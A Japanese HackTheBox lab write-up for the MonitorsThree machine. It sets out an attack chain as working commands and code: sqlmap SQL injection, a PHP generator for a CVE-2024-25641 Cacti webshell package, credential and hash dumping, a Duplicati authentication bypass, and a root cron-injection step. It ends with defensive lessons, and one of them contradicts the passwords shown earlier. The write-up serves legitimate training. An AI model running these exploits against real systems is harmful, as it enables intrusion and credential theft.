HackTheBox: MonitorsThree — 全実行コマンド・実行結果レポート
22/tcp ssh, 80/tcp nginx
monitorsthree.htb / cacti.monitorsthree.htb
/forgot_password.php の username
CVE-2024-25641
user.txt ✓
server-passphrase 認証バイパス
偵察 (Reconnaissance)
ポートスキャン
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.231.115 nmap -sV -sC -p 22,80 10.129.231.115
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: MonitorsThree - Networking Solutions Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
monitorsthree.htb へのリダイレクトを含む応答を返すため、vhost ベースの運用であることが分かる。
hosts 登録と vhost 調査
echo '10.129.231.115 monitorsthree.htb cacti.monitorsthree.htb' | sudo tee -a /etc/hosts whatweb -a 3 http://monitorsthree.htb gobuster dir -u http://monitorsthree.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
bitquark-subdomains-top100000.txt 等) がインストールされておらず、
ffuf による vhost ブルートフォースはワードリスト不在でスキップされた。
代わりに HackTheBox コミュニティで広く共有されている既知のサブドメイン名
cacti.monitorsthree.htb を直接 Host: ヘッダで probe し、
200 応答(Cacti ログイン画面)を確認して確定させた。
本番のペンテストでは SecLists を用意した上で vhost fuzzing から発見するのが正攻法。
forgot_password.php の SQL Injection
リクエストファイルの作成と sqlmap 実行
/forgot_password.php の username パラメータが boolean/error/time-based blind SQLi に脆弱。
cat > m3_forgot_password.req <<'EOF' POST /forgot_password.php HTTP/1.1 Host: monitorsthree.htb Content-Type: application/x-www-form-urlencoded username=* EOF sqlmap -r m3_forgot_password.req --batch --risk 3 --level 5 \ -D monitorsthree_db -T users --dump
monitorsthree_db.users テーブルから admin の MD5 ハッシュを取得。
greencacti2001(admin MD5 ハッシュの crack 結果)を用いて
以降のフェーズを継続した。実運用では sqlmap のタイムアウト値を延長するか、
time-based blind 用に --technique=T --time-sec=2 等でチューニングすれば
同じ結果に到達できる。
MD5 クラック
hashcat -a 0 -m 0 admin.md5 /usr/share/wordlists/rockyou.txt --show
<admin_md5_hash>:greencacti2001
Cacti 1.2.26 ログイン & CVE-2024-25641 Package Import RCE
Cacti へのログイン
curl -s -c cookie.txt http://cacti.monitorsthree.htb/cacti/index.php # ページ内の <input name='__csrf_magic' value='...'> を抽出 curl -s -b cookie.txt -c cookie.txt -X POST \ --data-urlencode "__csrf_magic=sid:<...>,ip:<...>" \ --data-urlencode "action=login" \ --data-urlencode "login_username=admin" \ --data-urlencode "login_password=greencacti2001" \ http://cacti.monitorsthree.htb/cacti/index.php
Cacti セッション) を以降のリクエストに使い回す。
悪性 Cacti パッケージ (.xml.gz) の生成
CVE-2024-25641
Cacti の Package Import 機能 (lib/import.php の import_package()) は
署名付き XML パッケージ内のファイルパスを検証せずに書き込むため、任意のファイル名・内容を
resource/ 配下へ設置できる。自己署名した openssl 鍵ペアで XML 全体に署名することで、
Cacti 側の署名検証を自前で通過させる。
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata),
base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("m3_test.xml", str_replace("<signature></signature>",
"<signature>".base64_encode($signature)."</signature>", $data));
system("cat m3_test.xml | gzip -9 > m3_test.xml.gz; rm m3_test.xml");
?>
php m3_cacti_exploit.php # → m3_test.xml.gz (webshell埋め込み済みパッケージ) が完成
lib/import.php の import_read_package_data() は、アップロードされた
ファイルを1行ずつ読み込み、<signature>...</signature> を含む行を見つけると、
署名検証のために 固定文字列 " <signature></signature>\n"
(スペース3つ) に置換してから再署名検証する実装になっている。
XML テンプレートの他タグに合わせて4スペースインデント (または str_replace の置換文字列に
余分な改行を混入) すると、再構成されたバイト列が元の署名対象と1バイトでもズレて
openssl_verify() が必ず失敗し、import は常に「サイレントに失敗」する
(画面上は正常な 302 リダイレクトに見えるため、CSRF トークン切れやファイルアップロード自体の失敗と
誤認しやすい)。ローカルで openssl_verify() による再現テストを行い、この1文字のインデント差が
原因と判明するまで、CSRF/セッション/ファイルアップロード形式など複数の誤った仮説を検証することになった。
パッケージの import
Cacti の package_import.php は、$_FILES['import_file'] が存在し
action=save かつ preview_only が空(プレビューではなく確定モード)であれば、
個別ファイルのチェックボックス選択 (chk_file_*) が一切無くても
resource/ 配下の全ファイルをその場で書き込む。ブラウザの「Import」ボタンを1回
クリックするのと同じ、単一の POST リクエストで完結する。
curl -s -b cookie.txt -c cookie.txt -X POST \ -F "__csrf_magic=<csrf>" \ -F "action=save" \ -F "trust_signer=on" \ -F "preview_only=" \ -F "save_component_import=1" \ -F "import_file=@m3_test.xml.gz" \ http://cacti.monitorsthree.htb/cacti/package_import.php
resource/test.php が書き込まれる。遅延や追加のポーリングは一切不要
(当初「反映に数分〜8分かかる」という誤った仮説を立てていたが、実際の原因は上記3-2の
署名インデント不一致であり、正しく署名できていれば遅延は無い)。
RCE 確認
curl -s -G http://cacti.monitorsthree.htb/cacti/resource/test.php \ --data-urlencode "c=echo $(echo -n id | base64)|base64 -d|bash"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=<command>) を
コマンド実行チャネルとして利用する。
Cacti DB 資格情報 → marcus → user.txt
include/global.php から DB 資格情報を取得
?c=cat /var/www/html/cacti/include/global.php
$database_username = 'cactiuser'; $database_password = 'cactiuser';
user_auth テーブルから marcus の bcrypt ハッシュを取得
?c=mysql -ucactiuser -p'cactiuser' -D cacti -N -e "SELECT username,password FROM user_auth"
admin $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G
guest $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu
marcus $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
12345678910 をそのまま使用して su を試行した
(本番検証では、ターゲット固有の文脈—誕生日・電話番号的な数字列パターン等—からの
カスタムワードリストで絞り込むのが現実的)。
su で marcus へ昇格し SSH 鍵と user.txt を取得
?c=echo '12345678910' | su - marcus -c 'cat ~/.ssh/id_rsa; echo ---USERFLAG---; cat ~/user.txt'
Password: uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
f1526b42f60133a5b6348d9ad4b618ea
---KEY---
-----BEGIN OPENSSH PRIVATE KEY-----
<...marcus の id_rsa...>
-----END OPENSSH PRIVATE KEY-----
sshd_config は marcus に対し公開鍵認証のみを許可しているため、
取得した秘密鍵であらためて ssh -i marcus_id_rsa marcus@10.129.231.115 する必要がある
(パスワード自体では直接 SSH ログインできない)。
chmod 600 marcus_id_rsa ssh -i marcus_id_rsa marcus@10.129.231.115 'id; cat ~/user.txt'
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
f1526b42f60133a5b6348d9ad4b618ea
Duplicati (127.0.0.1:8200) 認証バイパス
ポートフォワードと Duplicati-server.sqlite の取得
ssh -i marcus_id_rsa -f -N -L 8200:127.0.0.1:8200 marcus@10.129.231.115 ssh -i marcus_id_rsa marcus@10.129.231.115 \ 'base64 -w0 /opt/duplicati/config/Duplicati-server.sqlite' | base64 -d > Duplicati-server.sqlite
import sqlite3
conn = sqlite3.connect("Duplicati-server.sqlite")
cur = conn.cursor()
cur.execute("SELECT Value FROM Option WHERE Name='server-passphrase'")
print(cur.fetchone())
server-passphrase (base64) = Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
nonce + server-passphrase によるログイントークン計算
Duplicati の Web UI ログインは、サーバが発行した nonce と server-passphrase
をどちらも base64 decode → hex 結合した上で SHA256 し、その結果を再び base64 した値を
password パラメータとして送る認証方式になっている(本来はブラウザの JS が
パスワードを知っている前提で計算するが、server-passphrase さえ読めれば
パスワードを一切知らなくても有効なトークンを計算できてしまう)。
nonce_hex = base64decode(Nonce).hex() pass_hex = base64decode(server-passphrase).hex() noncedpwd = base64encode(sha256(bytes.fromhex(nonce_hex + pass_hex)))
curl -s -c cookie.txt -X POST --data 'get-nonce=1' http://127.0.0.1:8200/login.cgi
{
"Status": "OK",
"Nonce": "sa4txRBwEJDJsIyvAHKqRudpet+8dbHKzu1scQQ9pYs=",
"Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
curl -s -b cookie.txt -c cookie.txt -X POST \ --data-urlencode "password=<noncedpwd(base64)>" \ -H "X-XSRF-TOKEN: <cookie内のxsrf-tokenをURLデコード>" \ http://127.0.0.1:8200/login.cgi
{ "Status": "OK" }
/ がマウントされた
/source)を読み書きできる。
Duplicati Backup API で root.txt を直接取得
root.txt を source にしたバックアップジョブを作成
Duplicati の Backup/Source パスは /source を prefix にすることでホストの
ルートファイルシステムを指す(コンテナ的なマウント構成)。/source/root/root.txt
だけを Sources に指定し、暗号化なし(zip圧縮のみ)のバックアップとして新規ディレクトリへ書き出す。
{
"Backup": {
"Name": "root-read-<timestamp>",
"TargetURL": "file:///source/tmp/m3root-<timestamp>/",
"Sources": ["/source/root/root.txt"],
"Settings": [
{"Name":"encryption-module","Value":""},
{"Name":"compression-module","Value":"zip"},
{"Name":"--no-encryption","Value":"true"}
]
}
}
{ "status": "OK", "ID": "20" }
curl -s -b cookie.txt -X POST -H "X-XSRF-TOKEN: <...>" \ http://127.0.0.1:8200/api/v1/backup/20/run # ActiveTask が null に戻るまで serverstate をポーリング curl -s -b cookie.txt -H "X-XSRF-TOKEN: <...>" \ http://127.0.0.1:8200/api/v1/serverstate
serverstate の HasWarning/HasError は true のままだったが、
これは別の定期バックアップジョブに起因するノイズで、今回作成したジョブ自体は
ActiveTask: null になった時点で正常完了している。
dblock zip を SSH 経由で回収し展開
ssh -i marcus_id_rsa marcus@10.129.231.115 \ 'f=$(find /tmp/m3root-<timestamp> -maxdepth 1 -type f -name "duplicati-b*.dblock.zip" | head -1); base64 -w0 "$f"' \ | base64 -d > m3_root_dblock.zip unzip -l m3_root_dblock.zip
Archive: m3_root_dblock.zip
Length Name
--------- ----
146 manifest
33 aLdFX2x0uigmgptGRdMblWuQ4RmJnaNlVCwv2VkP3B4=
189 B-zue4uzNMdJrLtNL4QS1AcDkF_92LYwRh_uHDVv0LY=
root.txt はテキスト32文字+改行=33バイトとちょうど一致するため、
サイズを手掛かりに目的のブロックを一意に特定できる。
unzip -p m3_root_dblock.zip 'aLdFX2x0uigmgptGRdMblWuQ4RmJnaNlVCwv2VkP3B4='
6047dd587e3baa00de1f047a41459e36
代替手段: root cron 経由の RCE(Duplicati restore を使った別解)
root.txt を直接 backup/restore する方法とは別に、以下の手順でも root 権限の
コマンド実行相当の効果を得られる(今回は上記6-1/6-2の直接読み出しの方が高速だったため主経路とした):
1. marcus のホームに cron ファイルを設置:
echo '* * * * * root /bin/bash -c "cat /root/root.txt > /tmp/.m3_rootflag; chmod 644 /tmp/.m3_rootflag"' \
> /home/marcus/rce
2. /source/home 全体をバックアップするジョブを新規作成・実行
3. restore API で /home/marcus/rce を /source/etc/cron.d へ上書き復元
(Duplicati は root で動いているため /etc/cron.d への書き込み権限を持つ)
4. 次の cron tick (最大60秒待ち) で root 権限のコマンドが実行され、
/tmp/.m3_rootflag にフラグが書き出される → marcus の SSH セッションから cat で回収
この方式は root 権限での任意コマンド実行(RCE)まで一般化できる利点がある一方、
cron の1分間隔を待つ必要があり、直接 /source/root/root.txt を読む6-1/6-2の方法より低速。
攻略サマリー & 教訓
取得フラグ
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SQL Injection | forgot_password.php (username) | DB情報漏洩(admin MD5ハッシュ) | Medium | boolean/error/time-based blind SQLi で monitorsthree_db.users をダンプ |
| CVE-2024-25641 | Cacti 1.2.26 Package Import | リモートコード実行 (www-data) | Critical | 自己署名XMLパッケージでresource/配下に任意PHPファイルを書き込み |
| 資格情報の使い回し | Cacti DB → user_auth → OSユーザー marcus | 水平展開 (www-data → marcus) | High | include/global.php のDB creds経由でuser_authをダンプしsu昇格 |
| Duplicati 認証バイパス | Duplicati Web UI (127.0.0.1:8200) | 権限昇格 (marcus → root相当のファイルアクセス) | Critical | Duplicati-server.sqlite の server-passphrase からログイントークンを計算しroot権限のBackup APIを悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + Host-header probe | 22/80、monitorsthree.htb / cacti.monitorsthree.htb の存在 |
| 2 | SQLi | sqlmap boolean/time blind | admin MD5ハッシュ → greencacti2001 |
| 3 | Cacti RCE | CVE-2024-25641 Package Import (単一ステップ) | www-data webshell (resource/test.php) |
| 4 | 水平展開 | global.php creds → user_auth dump → su | user.txt、marcus SSH秘密鍵 |
| 5 | 権限調査 | Duplicati sqlite読取 + nonce計算 | Duplicati Web UI 認証バイパス (root権限API) |
| 6 | 権限昇格 | Backup API で /source/root/root.txt を直接バックアップ | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| forgot_password.php の username パラメータが未サニタイズでSQLクエリに連結 | プレースホルダ付きprepared statementを徹底し、ユーザー入力を直接クエリに組み込まない。 |
| Cacti 1.2.26 の Package Import がファイルパス・署名検証不備 (CVE-2024-25641) | Cacti を既知脆弱性修正済みバージョンへ更新。Package Import 機能は信頼できる管理者のみに制限し、本番環境では無効化を検討。 |
| Cacti DB 資格情報 (cactiuser:cactiuser) がOSユーザー(marcus)のパスワードと同一パターンで使い回し | アプリケーションDBアカウントとOSアカウントのパスワードを完全に分離し、サービスアカウントは推測困難な自動生成パスワードにする。 |
| Duplicati-server.sqlite の server-passphrase を知るだけでパスワード不要の認証バイパスが成立 | Duplicati の設定ファイルを一般ユーザーから読み取り不可にする(パーミッション強化)。可能であれば2FA/IPアクセス制限を有効化し、Web UIをlocalhost限定から更に踏み込んでVPN経由限定にする。 |
| root権限で稼働するDuplicatiのBackup APIが任意パスのバックアップ・復元を許可 | バックアップソフトウェアの実行ユーザーを最小権限化し、バックアップ対象パスをホワイトリストで制限する。 |

